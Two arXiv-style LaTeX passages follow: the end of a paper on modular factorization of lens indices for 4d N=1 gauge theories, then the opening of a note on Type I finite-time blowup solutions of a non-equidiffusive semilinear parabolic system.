We thus see that the $1$-cocycle condition leads to a concrete formula for the lens index in terms of the superconformal and $S^2\times T^2$ indices, apparently avoiding difficulties with a direct definition of the lens index for $q>1$.\footnote{See a Appendix \ref{sapp:lens-index} for a direct definition when $q=1$ and also \cite{Benini:2011nc,Razamat:2013jxa}.}
We also note that the formula is structurally similar to a proposed formula for the $L(p,q)$ partition function of three-dimensional $\mathcal{N}=2$ theories \cite{Alday:2017yxk}.
\subsection{Consistency checks for the chiral multiplet}\label{ssec:cons-checks-lens}
We now evaluate \eqref{eq:lenspartitionfunction} explicitly for the free chiral multiplet and perform a number of consistency checks on the result.
For simplicity of notation, we focus on vanishing R-charge.
Using the indices collected in Appendix \ref{app:lens-indices} we find:
\begin{align}\label{eq:physical-lens-4d}
\begin{split}
Z_{g_{(p,q)} \mathcal{O}} (\boldsymbol{\rho}) =& \prod_{i=0}^{t-1}\Gamma (z+ p_{i-1}\tau-s_{i-1}\sigma; p_i \tau- s_i \sigma\,, p_{i-1}\tau-s_{i-1} \sigma) \\
&\times \Gamma (z; p_t \tau- s_t \sigma\,, p_{t-1}\tau-s_{t-1} \sigma)\\
=&\Gamma(z;\tau,\sigma)\prod_{i=1}^{t}\Gamma (z+ p_{i}\tau-s_{i}\sigma; p_i \tau- s_i \sigma\,, p_{i-1}\tau-s_{i-1} \sigma) \,,
\end{split}
\end{align}
where we have made use of the shift property of the elliptic $\Gamma$ function to absorb $Z_{\mathcal{O}}(\boldsymbol{\rho})$ either in the last or the first $\hat{Z}_{S_{23}}(\boldsymbol{\rho})$ in the product.
Also note that $p_{-1}$ and $s_{-1}$ were defined in \eqref{eq:minusone-pquv}.
We will perform two types of consistency checks on this formula.
First, we check that it is invariant under the symmetries of the Hopf surface, as described in Section \ref{ssec:hopf-surfaces}.
Secondly, we will show that it can be factorized into holomorphic blocks consistent with modular factorization.
\subsubsection{Invariance under symmetries Hopf surface}\label{sssec:inv-syms-lens}
We implement the symmetries of the Hopf surface through an action on its Heegaard splitting, as discussed at the end of Section \ref{ssec:ambig-heegaard}.
First of all, the index is obviously invariant under $\tau\to \tau+1$, $\sigma\to \sigma +1$ and $z\to z+1$ due to the periodicity of the elliptic $\Gamma$ function.
This implies that it is invariant under all the symmetries in \eqref{eq:largediffeo-matrixrelation}.
In addition, it should be invariant under:
\begin{align}\label{eq:shift-stos+p}
\begin{split}
\tau &\to \tau + \sigma\,, \quad s \to s+p\,,\quad r\to r+q\,,\\
\tilde{\tau} &\to \tilde{\tau} + \tilde{\sigma}\,, \quad q \to q+p\,,\quad r\to r+s\,,
\end{split}
\end{align}
where we recall $\tilde{\boldsymbol{\rho}}=\mathcal{O}g_{(p,q)}^{-1}\boldsymbol{\rho}$.
We only have to check the first line, since invariance under the second line is automatic.
Note that $s_i+p_i$ satisfies the same recurrence relation as $s_i$ and leads to $s_t'=s_t+p_t$ and $r_t'=r_t+q_t$.
The transformation in \eqref{eq:shift-stos+p} thus shifts all $s_i$ and $r_i$ by $s_i \to s_i+ p_i$ and $r_i\to r_i+q_i$.
Combined with $\tau\to\tau+\sigma$, we see that the combinations $p_i \tau -s_i\sigma$ are invariant for all $i$, and therefore the index is invariant too.
Finally, the most non-trivial transformation to check is:
\begin{equation}
\boldsymbol{\rho}\leftrightarrow \tilde{\boldsymbol{\rho}}\,,\quad q\leftrightarrow s\,.
\end{equation}
Recall that the transformation on the moduli is implemented on $\hat{\boldsymbol{\rho}}$ through the exchange $\hat{\tau}\leftrightarrow\hat{\sigma}$.
Let us denote the transformed lens data as:
\begin{align}\label{eq:transformation-qstausigma}
\begin{split}
& s_t' = q_t, \qquad q_t' =s_t, \qquad p_t' =p_t\,.
\end{split}
\end{align}
It follows that the continued fraction expansions \eqref{eq:poveruandpoverq} for the primed lens data are given in terms of the $e_i$ for $i=1, \cdots , t$ by:
\begin{align}\label{eq:transformation-eidata}
\begin{split}
e_{i}' = e_{t-i+1}\quad \Rightarrow\quad \frac{p_i'}{q_i'} = [ e_{t-i+1},\ldots , e_t]^-\,, \qquad-\frac{s_i'}{p_i'} &= [0,e_t,\ldots, e_{t-i+1}]^- \,.
\end{split}
\end{align}
To prove invariance, we need to show that:
\begin{equation}\label{eq:qs-inv}
Z_{g_{(p,q)} \mathcal{O}} (\boldsymbol{\rho})=Z_{g_{(p,s)} \mathcal{O}} (\tilde{\boldsymbol{\rho}})\,.
\end{equation}
Recall from Section \ref{ssec:ambig-heegaard} that:
\begin{equation}\label{eq:p-moduli-3}
(\tau,\sigma)=(\hat{\tau}-s\hat{\sigma},p\hat{\sigma})\,,\qquad (\tilde{\tau},\tilde{\sigma})=(\hat{\sigma}-q\hat{\tau},p\hat{\tau})\,.
\end{equation}
Plugging in the left and right hand side of \eqref{eq:qs-inv} with the explicit expressions \eqref{eq:physical-lens-4d} in the first and second line, respectively, and writing $(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ in terms of $\hat{\boldsymbol{\rho}}$ as in \eqref{eq:p-moduli-3}, one finds the invariance if:
\begin{equation}\label{eq:transformed-convergent-relation}
p_{i-1}' = s_t\,p_{t-i} -p_t\,s_{t-i} , \qquad q_t\,p_{i-1}' -p_t\,s_{i-1}'= p_{t-i}\,.
\end{equation}
We can prove these equations as follows.
First, note that both expressions on the left hand side satisfy the recurrence relations \eqref{eq:recursive-pq} with respect to $e_{i}'$, whereas the right hand sides satisfy them with respect to $e_{t-i+1}$.
Since $e_{i}'=e_{t-i+1}$, this is consistent.
Furthermore, the initial conditions in \eqref{eq:recursive-pq} and \eqref{eq:minusone-pquv} on $p_{-1,0}$ and $s_{-1,0}$ are correctly reproduced by the left hand sides, as one may verify by evaluating both equations for $i=t$ and $i=t+1$.
This proves \eqref{eq:transformed-convergent-relation}, and therefore the invariance \eqref{eq:qs-inv}.
\subsubsection{Modular factorization of general lens index}
\label{sssec:mod-fact-lens}
In Section \ref{ssec:evidence}, we have shown that the modular properties of the elliptic $\Gamma$ function lead to the modular factorization of the $S^3\times S^1$, $L(p,1)\times S^1$ and $S^2\times T^2$ index.
In this section, we generalize this result to the $L(p,q)\times S^1$ index in the context of the free chiral multiplet.\footnote{Given this result, the extension to general $\mathcal{N}=1$ gauge theories follows along the same lines as discussed in Section \ref{sssec:proof-gen-gauge-th}.}
Let us first collect the modular property involving $t+3$ elliptic $\Gamma$ functions from Appendix \ref{sapp:t+3-Gamma}, where $t$ is the length of the continued fraction expansion of $p/q$ (cf.\ \eqref{eq:poveruandpoverq}).
This generalizes the $t=0$ ($q=0$) and $t=1$ ($q=1$) modular properties used in Section \ref{ssec:evidence}.
The relevant formula is given by:
\begin{eqnarray} \nonumber
& &\left( \prod_{i=0}^{t-1}\Gamma (z+ p_{i-1}\tau-s_{i-1}\sigma; p_i \tau- s_i \sigma\,, p_{i-1}\tau-s_{i-1} \sigma)\right) \Gamma (z; p_t \tau- s_t \sigma\,, p_{t-1}\tau-s_{t-1} \sigma)\\ \label{eq:mod-prop-Gamma-t+3}
&=&e^{-i\pi \tilde{P}_{g_{(p,q)}}^{\mathbf{m}}(z,\tau,\sigma)}\Gamma\left(\tfrac{z}{m\sigma+n_1}; \tfrac{\tau-c(k_1\sigma+l_1)}{m\sigma+n_1}, \tfrac{k_1\sigma +l_1}{m\sigma+n_1} \right) \\
\nonumber
&&\qquad \qquad \qquad \times \Gamma\left(\tfrac{z}{m(p\tau
-s \sigma) +{\tilde{n}}_{t+1}}; \tfrac{q\tau-r\sigma-n_{t+1}(\tilde{k}_{t+1} (p \tau-s \sigma) +\tilde{l}_{t+1})}{m(p\tau-s \sigma) +{\tilde{n}}_{t+1}} , \tfrac{\tilde{k}_{t+1} (p \tau-s \sigma) +\tilde{l}_{t+1}}{m(p\tau-s\sigma) +{\tilde{n}}_{t+1}}\right)\,,
\end{eqnarray}
where $k_1n_1-l_1m=1$, $
\tilde{k}_{t+1}\tilde{n}_{t+1}-\tilde{l}_{t+1}m=1$ and:
\begin{equation}
n_{t+1}=qc-rn_1\,,\qquad \tilde{n}_{t+1}=-sn_1+pc\,.
\end{equation}
In addition, the phase polynomial is given by:
\begin{align}\label{eq:physical-lens-phasepolynomial}
\begin{split}
\tilde{P}_{g_{(p,q)}}^{\mathbf{m}}(\boldsymbol{\rho}) &= \frac{1}{m p} Q \left(m z, \frac{m(p \tau - s \sigma) + \tilde{n}_{t+1}}{p} , \frac{m \sigma+n_1}{p} \right) +\delta \tilde{P}_{g_{(p,q)}}^{\mathbf{m}}(\boldsymbol{\rho}) \\
\delta \tilde{P}_{g_{(p,q)}}^{\mathbf{m}}(\boldsymbol{\rho}) &= \frac{(\eta_t+3)p -3}{6p}z - \frac{(p^2-1)(p \tau-s\sigma+\sigma)}{12 p^2}+f_{\mathbf{m};(p,q)}\,,
\end{split}
\end{align}
where we let $\mathbf{m}$ denote the various modular parameters and $f_{\mathbf{m},(p,q)}$ is a constant.
The constant $\eta_t$ is the continued fraction representation of the Dedekind sum $s(s,p)$:
\begin{equation}\label{eq:kappa-definition}
\eta_t = \frac{q +s}{p} -3t + \sum_{i=1}^t e_i = 12s(s,p) \,.
\end{equation}
The appearance of the Dedekind sum in the context of $L(p,q)$ is not too surprising.
In particular, if two lens spaces $L(p,q)$ and $L(p,q')$ are related to each other by an orientation preserving diffeomorphism, then the Dedekind sums $s(q,p)$ and $s(q',p)$ are equal, namely, $(q-q')(qq'-1) \equiv 0 \,\mod \, p$.
Note that the converse does not hold \cite{katase1990classifying}.
Setting $(n_1,k_1,l_1)\equiv (n,k,l)$ and $(\tilde{n}_{t+1},\tilde{k}_{t+1},\tilde{l}_{t+1})\equiv (\tilde{n},\tilde{k},\tilde{l})$, one easily checks that the modular property \eqref{eq:mod-prop-Gamma-t+3} can be written as:
\begin{align}
\begin{split}
Z_{g_{(p,q)}\mathcal{O}}(\boldsymbol{\rho})&=e^{-i\pi P^{\mathbf{m}}_{g_{(p,q)}}\left(\boldsymbol{\rho}\right)}B_{h}(\boldsymbol{\rho})B_{\tilde{h}}(\mathcal{O}g_{(p,q)}^{-1}\boldsymbol{\rho})\\
&=e^{-i\pi \tilde{P}^{\mathbf{m}}_{g_{(p,q)}}\left(\boldsymbol{\rho}\right)}C_{h}(\boldsymbol{\rho})C_{\tilde{h}}(\mathcal{O}g_{(p,q)}^{-1}\boldsymbol{\rho})\,,
\end{split}
\end{align}
where now $(h,\tilde{h})\in S_{g_{(p,q)}\mathcal{O}}$ was given in \eqref{eq:h-ht-Lens-gen}, and the holomorphic blocks $B(\boldsymbol{\rho})$ and $C(\boldsymbol{\rho})$ were given in \eqref{eq:hol-blocks-bc-free-chiral-2}.
The relative phase can again be interpreted in terms of the anomaly polynomial of the theory.
As in Section \ref{sssec:example-free-chiral},
we find that the phase can be written in terms of:
\begin{equation}
P_{g_{(p,q)}} \left(z;\tau,\sigma \right)=
\tfrac{1}{p} Q(z,\tfrac{p\tau-s\sigma}{p},\tfrac{\sigma}{p}) + \tfrac{(\eta_t+3)p-3}{6p} z -\tfrac{p^2-1}{12p^2}(p\tau-s\sigma+\sigma) +f_{(p,q)}\,,
\end{equation}
as follows:
\begin{align}\label{eq:twoP-constant}
\begin{split}
& P_{g_{(p,q)}}^{\mathbf{m}} (z,\tau,\sigma) = \frac{1}{m } P_{g_{(p,q)}} (m z; m \tau+c,m\sigma+n) +\text{const} ~,
\\
& \tilde{P}_{g_{(p,q)}}^{\mathbf{m}} (z,\tau,\sigma) = \frac{1}{m } P_{g_{(p,q)}} (m z+1; m \tau+c,m\sigma+n) +\text{const} ~.
\end{split}
\end{align}
We have not found a general formula for the constants in \eqref{eq:twoP-constant}, although for any fixed set of integers $\mathbf{m}$ we can compute it (see Appendix \ref{sapp:t+3-Gamma}).
Let us introduce the following parametrization of the anomalies:
\begin{eqnarray}\nonumber
\mathcal{P}^{(p,q)}(\vec{Z};\hat{x}_i)&\equiv& \frac{1}{3p\hat{x}_1\hat{x}_2\hat{x}_3}\left(k_{abc}Z_aZ_bZ_c+3k_{abR}Z_aZ_bX +3k_{aRR}Z_a X^2-k_aZ_a\tilde{X}^{(p,q)}\right.\\
\label{eq:anomaly-pol-gen-th-lenspq}
&&\left.+k_{RRR}X^3-k_R X\tilde{X}^{(p,1)}\right)\,,
\end{eqnarray}
where $X$ is given in terms of the $\hat{x}_i$ as in the case of the $L(p,1)\times S^1$ (cf.\ \eqref{eq:X-and-Xt}), and we use a modified definition for $\tilde{X}$:
\begin{equation}
\tilde{X}^{(p,q)} = \frac{1}{4} (\hat{x}_1^2+\hat{x}_2^2+\hat{x}_3^2-2(p \eta_t+3p -3)\hat{x}_2\hat{x}_3)\,.
\end{equation}
One may verify that again the phase polynomial correctly captures the anomalies for a free chiral with $R=0$ (cf.\ \eqref{eq:anomaly-coefficient-R}) by noting that:
\begin{equation}\label{eq:relation-Lpq}
P_{g_{(p,q)}}(\tfrac{Z+x_1}{x_1},\tfrac{x_2}{x_1},\tfrac{x_3}{x_1};0) = \mathcal{P}^{(p,q)} (\vec{Z},\hat{x}_i)+\text{const.}
\end{equation}
where we view $x_i$ as functions of $\hat{x}_i$ according to \eqref{eq:p-moduli-3}, and have not obtained an analytic formula for the constant.
We stress that the form of $\mathcal{P}^{(p,q)}(\vec{Z};\hat{x}_i)$ is not preserved under the shift $Z_a\to Z_a+X$ for $q>1$.
It is therefore not entirely clear how to reinstate a non-vanishing R-charge consistent with the anomaly polynomial.
We hope to come back to a better understanding of this point in future work.
In conclusion, we see that a general $L(p,q)\times S^1$ index can be factorized in terms of a family of holomorphic blocks that are consistent with modular factorization.
We view this as an additional consistency check of our proposed formula for the general $L(p,q)\times S^1$ index \eqref{eq:lenspartitionfunction}.
\section{Summary and future directions}\label{sec:sum-future}
In this work, we have shown that a distinguished set of ambiguities in the Heegaard splitting of a Hopf surface leads to a modular family of factorization properties for the associated lens index of four-dimensional $\mathcal{N}=1$ gauge theories.
The set of ambiguities is labeled by two large diffeomorphisms $(h,\tilde{h})$ of $D_2\times T^2$ such that the associated gluing transformations $hf\tilde{h}^{-1}$ fixes a (time) circle.
An interesting subcase is the $SL(2,\mathbb{Z})$ family of holomorphic blocks into which $L(p,1)\times S^1$ indices can be factorized for any $p$, generalizing the original holomorphic block $\mathcal{B}^{\alpha}_{S}(\boldsymbol{\rho})$ of \cite{Nieri:2015yia}.
The proof of modular factorization involves modular properties of the elliptic $\Gamma$ function and the $q$-$\theta$ function, which are the building blocks of any gauge theory index.
Because of the non-renormalization of indices, the statement also applies to the IR SCFTs obtained from (supersymmetric) RG flows.\footnote{It has been suggested by Razamat on various occasions that any $\mathcal{N}=1$ SCFT could be reached by such flows (see, e.g., \cite{Razamat:2022gpm} and references therein).}
These results provide a clear physical basis to systematically prove that the normalized part of the collection of lens indices $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ obeys a $1$-cocycle condition associated to the group $\mathcal{G}=SL(3,\mathbb{Z})\ltimes \mathbb{Z}^{3r}$, as first proposed in \cite{Gadde:2020bov}.
In particular, we provide a physical interpretation of the non-triviality of the cohomology class of $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$ in $H^1(\mathcal{G},N/M)$ by relating it to modular factorization.
Finally, as an application of the $1$-cocycle condition, we derive a formula for the $L(p,q)\times S^1$ index, generalizing \cite{Benini:2011nc,Razamat:2013opa}.
\bigskip
There are many interesting directions for future research.
First of all, the analysis in this paper was originally motivated by its applications to the black holes in the gravitational dual.
A number of questions in this direction deserve further study:
\begin{itemize}
\item As mentioned in the introduction, the modular properties of elliptic $\Gamma$ functions can be used to compute asymptotic, Cardy-like limits of indices.
In an upcoming work \cite{Jejjala:20222023}, we apply modular factorization in the context of the $\mathcal{N}=4$ theory to study a family of such Cardy-like limits, which is parametrized by the right coset $\Gamma_{\infty}'\times \Gamma_{\infty}'\backslash S_f$ (see Section \ref{ssec:consistency-cond}).
\item Apart from the superconformal index, we can also study Cardy-like limits of more general lens indices.
It would be interesting to understand the gravitational interpretation, in particular the existence of supersymmetric black lenses in AdS.\footnote{Such solutions are not available in the literature, in spite of the existence of asymptotically \emph{flat} black lenses in minimal gauged supergravity or in the $U(1)^3$ gauged supergravity \cite{Kunduri:2014kja,Kunduri:2016xbo,Tomizawa:2016kjh,Breunholder:2017ubu,Breunholder:2018roc,Tomizawa:2019yzb}.}
\item The fact that $S_f$ can be expressed in terms of modular groups makes it tempting to compare the situation to AdS$_3$/CFT$_2$ and the associated Farey tail expansion of the elliptic genus \cite{Dijkgraaf:2000fq,Manschot:2007ha}.
However, modular factorization of lens indices $\mathcal{Z}_{f}(\boldsymbol{\rho})$ follows from a combined action $\boldsymbol{\rho}\to h\boldsymbol{\rho}$ and $f\to hf\tilde{h}^{-1}$ for $(h,\tilde{h})\in S_f$.
It is not clear to us whether this more general type of covariance can lead to Farey tail-like formulas for the index.
\item The holographic duals of holomorphic blocks were dubbed gravitational blocks \cite{Hosseini:2019iad} and have played a role in a number of follow-ups \cite{Hosseini:2020mut,Hosseini:2021mnn,Hosseini:2022vho}.
It will be interesting to see how if our modular family of holomorphic blocks can add to their analysis.
\end{itemize}
There are also implications of this work within the context of SCFTs:
\begin{itemize}
\item The Schur limit of the superconformal index of $\mathcal{N}=2$ SCFTs is known to have modular properties \cite{Razamat:2012uv}, which can be explained in terms of the underlying chiral algebras \cite{Beem:2013sza,Beem:2017ooy,Pan:2021mrw,Beem:2021zvt,Hatsuda:2022xdv}.
We expect that the Schur limit of modular factorization provides a geometric explanation for the modular properties of the Schur index.
\item The fact that the elliptic genus of a CFT$_2$ is a Jacobi form has a clear interpretation (see, e.g., \cite{Kawai:1993jk}).
We would like to have a similarly transparent physical argument for the relevance of degree $1$ automorphic forms in the context of lens indices.
Part of the argument certainly includes modular factorization, but the fact that the normalized part of a lens index, $\hat{\mathcal{Z}}^{\alpha}_{g}(\boldsymbol{\rho})$, plays a crucial role obscures the argument because physically this is a somewhat unnatural object.
More recent mathematical work \cite{Felder_2008} adopts the language of gerbes and stacks to investigate the elliptic $\Gamma$ function, which could potentially be relevant as well.
\item Finally, we would like a physical interpretation of the constant appearing in the phase polynomials studied in Section \ref{ssec:evidence}.
In special cases, we have found an explicit expression in terms of Dedekind sums, which shows that it represents an interesting number theoretic object.
\end{itemize}
We hope to report on these topics in future work.
\section*{Acknowledgements}
VJ is supported by the South African Research Chairs Initiative of the Department of Science and Innovation and the National Research Foundation.
YL was supported by the UCAS program of special research associate, the internal funds of the KITS, and the
Chinese Postdoctoral Science Foundation.
YL is also supported by a Project Funded by the Priority Academic Program Development of Jiangsu Higher Education Institutions (PAPD).
WL is supported by NSFC No.\ 11875064, No.\ 11947302, and the Max-Planck Partnergruppen fund; she is also grateful for the hospitality of AEI Potsdam, where part of this work was done.
|
1,477,468,750,003 | arxiv | \section{Introduction.}
In \cite{GNZihp18,GNZjde18}, we consider the semilinear parabolic system
\begin{equation}\label{sys:uv}
\arraycolsep=1.4pt\def2{1.6}
\left\{ \begin{array}{rl}
\partial_t u &= \;\;\Delta u + f(v), \\
\partial_t v &= \mu\Delta v + g(u),
\end{array}
\right. \quad (x,t) \in \mathbb{R}^+ \times \mathbb{R}^N,
\end{equation}
with $N \geq 1$, $\mu > 0$ and $\big(u(0),v(0)\big) = \big(u_0, v_0\big)$, where $(u,v)(t): x \in \mathbb{R}^N \to \mathbb{R}^2$ and the nonlinearity has no gradient structure taking of the particular form
\begin{equation}\label{def:fg1}
f(v) = v|v|^{p-1} \quad \textup{and}\quad g(u) = u|u|^{q-1} \quad \textup{with} \quad p, q > 1,
\end{equation}
or
\begin{equation}\label{def:fg2}
f(v) = e^{pv}\quad \textup{and} \quad g(u) = e^{qu} \quad \textup{with} \quad p,q > 0.
\end{equation}
System \eqref{sys:uv} represents a simple model of a reaction-diffusion system describing heat propagation in a two-component combustible mixture and, as such, it has been the subject of intensive investigation from the last two decades (see \cite{SOUbook05}, \cite{ZZCna02} and references therein). We are here mainly interested in proving the existence and stability of finite time blowup solutions satisfying some prescribed asymptotic behavior. By finite time blowup, we mean that $T = T(u_0, v_0)$, the maximal existence time of the classical solution $(u,v)$ of problem \eqref{sys:uv}, is finite, and the solution blows up in finite time $T$ in the sense that
$$\lim_{t \to T}\big(\|u(t)\|_{L^\infty(\mathbb{R}^N)} + \|v(t)\|_{L^\infty(\mathbb{R}^N)} \big) = +\infty.$$
Moreover, a finite blowup solution $(u,v)$ of system \eqref{sys:uv} is called \textit{Type I} if there exists some positive constant $C$ such that
\begin{equation}\label{def:TypeI}
\|u(t)\|_{L^\infty(\mathbb{R}^N)} \leq C\bar u(t), \quad \|v(t)\|_{L^\infty(\mathbb{R}^N)} \leq C \bar v(t),
\end{equation}
where $(\bar u, \bar v)(t)$ is the unique positive blowup solution of the ordinary differential system associated to \eqref{sys:uv}, namely that
\begin{eqnarray*}
& \bar u(t) = \Gamma (T-t)^{-\alpha}, \quad \bar v(t) = \gamma(T- t)^{-\beta} & \quad \textup{for \eqref{def:fg1}},\\
& \bar u(t) = \ln\left[\big(p(T-t)\big)^\frac{-1}{q}\right], \quad \bar v(t) = \ln\left[\big(q(T-t)\big)^\frac{-1}{p}\right]& \quad \textup{for \eqref{def:fg2}},
\end{eqnarray*}
where $(\Gamma, \gamma)$ is determined by
\begin{equation}\label{def:Gg}
\gamma^p = \alpha \Gamma, \quad \Gamma^q = \gamma \beta, \quad \alpha = \frac{p + 1}{pq-1}, \quad \beta = \frac{q+1}{pq-1}.
\end{equation}
Otherwise, the blowup solution is of \textit{Type II}.
As for system \eqref{sys:uv}-\eqref{def:fg1} with $\mu = 1$, the existence of finite time blowup solutions was derived by Friedman-Giga \cite{FGfsut87}, Escobedo-Herrero \cite{EHjde91} (see also \cite{EHpams91}, \cite{EHampa93}, etc). From Andreucci-Herrero-Vel\'azquez \cite{AHVihp97}, we know that estimate \eqref{def:TypeI} holds true if
$$pq > 1, \quad q(pN - 2)_+ < N + 2 \quad \textup{or} \quad p(qN - 2)_+ < N + 2.$$
See also Caristi-Mitidieri \cite{CMjde94}, Deng \cite{Dzamp96}, Fila-Souple \cite{FSnodea01} for more results relative to estimate \eqref{def:TypeI}. Knowing that the solution exhibits Type I blowup, the authors of \cite{AHVihp97} were able to obtain more information about the asymptotic behavior of the solution near the singularity. Their results were later improved by Zaag \cite{Zcpam01}. When $\mu \ne 1$, much less result has been known, a part from Mahmoudi-Souplet-Tayachi \cite{MSTjde15} who establishes a single point blowup result that improves the one obtained in \cite{FGfsut87}. As for system \eqref{sys:uv} coupled with the nonlinearity \eqref{def:fg2}, the only known result is due to Souplet-Tayachi \cite{STna16} who adapted the technique developed in \cite{MSTjde15} to obtain the single point blowup result for a class of radially descreasing solutions. To our knowledge, there are no results concerning the asymptotic behavior, even for the equidiffusive case, i.e. $\mu = 1$. Also we recall that the study of the non-equidiffusive parabolic system \eqref{sys:uv} ($\mu$ may or may not equal to $1$) are in particular much more involved, both in terms of behavior of solutions and at the technical level.
In this note we exhibit \textit{Type I} blowup solutions for system \eqref{sys:uv} and give the first complete description of its asymptotic behavior. More precisely, we prove in \cite{GNZihp18} the following theorem.
\begin{theorem}[Type I blowup solutions for \eqref{sys:uv}-\eqref{def:fg1} and its asymptotic behavior, \cite{GNZihp18}] \label{theo:1}
Let $a \in \mathbb{R}^N$ and $T > 0$. There exist initial data $(u_0, v_0) \in L^\infty(\mathbb{R}^N) \times L^\infty(\mathbb{R}^N)$ for which system \eqref{sys:uv}-\eqref{def:fg1} has the unique solution $(u,v)$ defined on $\mathbb{R}^N \times [0, T)$ such that
\begin{itemize}
\item[(i)] The solution $(u,v)$ blows up in finite time $T$ at the only point $a$.
\item[(ii)] \textup{(Asymptotic profile)} There holds for all $t \in [0, T)$,
\begin{equation}\label{eq:asymuv1}
\left\|(T-t)^\alpha u(x,t) - \Phi^*(z)\right\|_{L^\infty(\mathbb{R}^N)} + \left\|(T-t)^\beta v(x,t) - \Psi^*(z)\right\|_{L^\infty(\mathbb{R}^N)} \leq \frac{C}{\sqrt{(T-t)}},
\end{equation}
where $z = \frac{x - a}{\sqrt{(T-t)|\log (T-t)|}}$ and the profiles $\Phi_0$ and $\Psi_0$ are explicitly given by
\begin{equation}\label{def:PhiPsi1}
\forall z \in \mathbb{R}^N, \quad \Phi^*(z) = \Gamma\big(1 + b |z|^2\big)^{-\alpha}, \quad \Psi^*(z) = \gamma\big(1 + b |z|^2\big)^{-\beta},
\end{equation}
with $\Gamma, \gamma, \alpha, \beta$ being introduced in \eqref{def:Gg} and
\begin{equation}
b = b(\mu, p,q) = \frac{(pq - 1)(2pq + p + q)}{4pq(p+1)(q+1)(\mu + 1)} > 0.
\end{equation}
\item[(iii)] \textup{(Final blowup profile)} For all $x \neq a$, $\big(u(x,t), v(x,t) \big) \to \big( u^*(x), v^*(x)\big) \in \Big[\mathcal{C}^2\big(\mathbb{R}^N \setminus \{0\} \big)\Big]^2$ with
\begin{equation}\label{eq:finalpro}
u^*(x) \sim \Gamma\left(\frac{b|x- a|^2}{2 \big|\log |x-a|\big|} \right)^{-\frac{p + 1}{pq-1}}, \quad v^*(x) \sim \gamma\left(\frac{b|x- a|^2}{2 \big|\log |x-a|\big|} \right)^{-\frac{q + 1}{pq-1}}
\end{equation}
as $|x - a| \to 0$.
\end{itemize}
\end{theorem}
\begin{remark} The asymptotic profile defined in \eqref{def:PhiPsi1} with $\mu = 1$ is the one among the classification result established in \cite{AHVihp97} (see also \cite{Zcpam01}). This is to say that we can construct Type I blowup solutions for \eqref{sys:uv}-\eqref{def:fg1} verifying the other asymptotic profiles described as in \cite{AHVihp97}. However, those constructions would be simpler than our considered case \eqref{eq:asymuv1} which involves some logarithmic correction to the blowup variable.
\end{remark}
\begin{remark} The estimate \eqref{eq:finalpro} is sharp in comparison with the result established in \cite{MSTjde15} (see Theorem 1.3) where the authors could only obtain lower pointwise estimates without the logarithmic correction.
\end{remark}
As for system \eqref{sys:uv} coupled with the nonlinearity \eqref{def:fg2}, we study in the special affine space $\mathcal{H}_\alpha$ for some positive constant $\alpha$,
\begin{equation*}
\mathcal{H}_\alpha = \big\{(u,v) \in (\bar \phi, \bar \psi) + L^\infty(\mathbb{R}^N) \times L^\infty(\mathbb{R}^N) \; \textup{where} \; q\bar \phi(x) = p \bar \psi(x) = - \ln(1 + \alpha|x|^2) \big\},
\end{equation*}
and establish in \cite{GNZjde18} the following result:
\begin{theorem}[Type I blowup solutions for \eqref{sys:uv}-\eqref{def:fg2} and its asymptotic behavior, \cite{GNZjde18}] \label{theo:2} Let $a \in \mathbb{R}^N$ and $T > 0$. There exist initial data $(u_0, v_0) \in \mathcal{H}_\alpha$ for which system \eqref{sys:uv}-\eqref{def:fg2} has the unique solution $(u,v)$ defined on $\mathbb{R}^N \times [0, T)$ such that
\begin{itemize}
\item[(i)] The function $(e^{qu},e^{pv})$ blows up in finite time $T$ at the only point $a$.
\item[(ii)] \textup{(Asymptotic profile)} There holds for all $t \in [0, T)$,
\begin{equation}\label{eq:asym2}
\left\|(T-t)e^{qu(x,t)} - \Phi_*(z)\right\|_{L^\infty(\mathbb{R}^N)} + \left\|(T-t)e^{pv(x,t)} - \Psi_*(z)\right\|_{L^\infty(\mathbb{R}^N)} \leq \frac{C}{\sqrt{(T-t)}},
\end{equation}
where $z = \frac{x - a}{\sqrt{(T-t)|\log (T-t)|}}$ and the profiles $\Phi_*$ and $\Psi_*$ are explicitly given by
\begin{equation}\label{def:PhiPsi2}
\forall z \in \mathbb{R}^N, \quad p\Phi_*(z) = q\Psi_*(z) = \frac{1}{1 + b |z|^2} \quad \text{with} \;\; b = \frac{1}{2(\mu + 1)}.
\end{equation}
\item[(iii)] \textup{(Final blowup profile)} For all $x \neq a$, $\big(u(x,t), v(x,t) \big) \to \big( u_*(x), v_*(x)\big) \in \Big[\mathcal{C}^2\big(\mathbb{R}^N \setminus \{0\} \big)\Big]^2$ with
\begin{equation}
u_*(x) \sim \frac 1 q \ln\left(\frac{2b}{p} \frac{\big|\log |x-a|\big|}{|x- a|^2} \right), \quad v_*(x) \sim \frac 1 p \ln\left(\frac{2b}{q} \frac{\big|\log |x-a|\big|}{|x- a|^2} \right) \quad \text{as}\; \; |x - a| \to 0.
\end{equation}
\end{itemize}
\end{theorem}
\begin{remark} We can construct Type I blowup solutions for \eqref{sys:uv}-\eqref{def:fg2} satisfying different blowup profiles that do not have logarithmic correction to the blowup variable described as in \eqref{eq:asym2}. This is to say that we can obtain an analogous classification result for Type I blowup solutions of \eqref{sys:uv}-\eqref{def:fg2} by adapting the technique of \cite{AHVihp97} with some more technical difficulties.
\end{remark}
The proof of Theorem \ref{theo:1} and Theorem \ref{theo:2} relies on two-step procedure:
\begin{itemize}
\item Reduction of an infinite dimensional problem to a finite dimensional one, through either the spectral analysis of the linearized operator around the expected profile or the energy-type estimate via the derivation of suitable Lyapunov functional. Note that the energy-type method breaks down for our problem because of the non gradient structure of the nonlinearity.
\item The control of the finite dimensional problem thanks to a classical topological argument based on index theory.
\end{itemize}
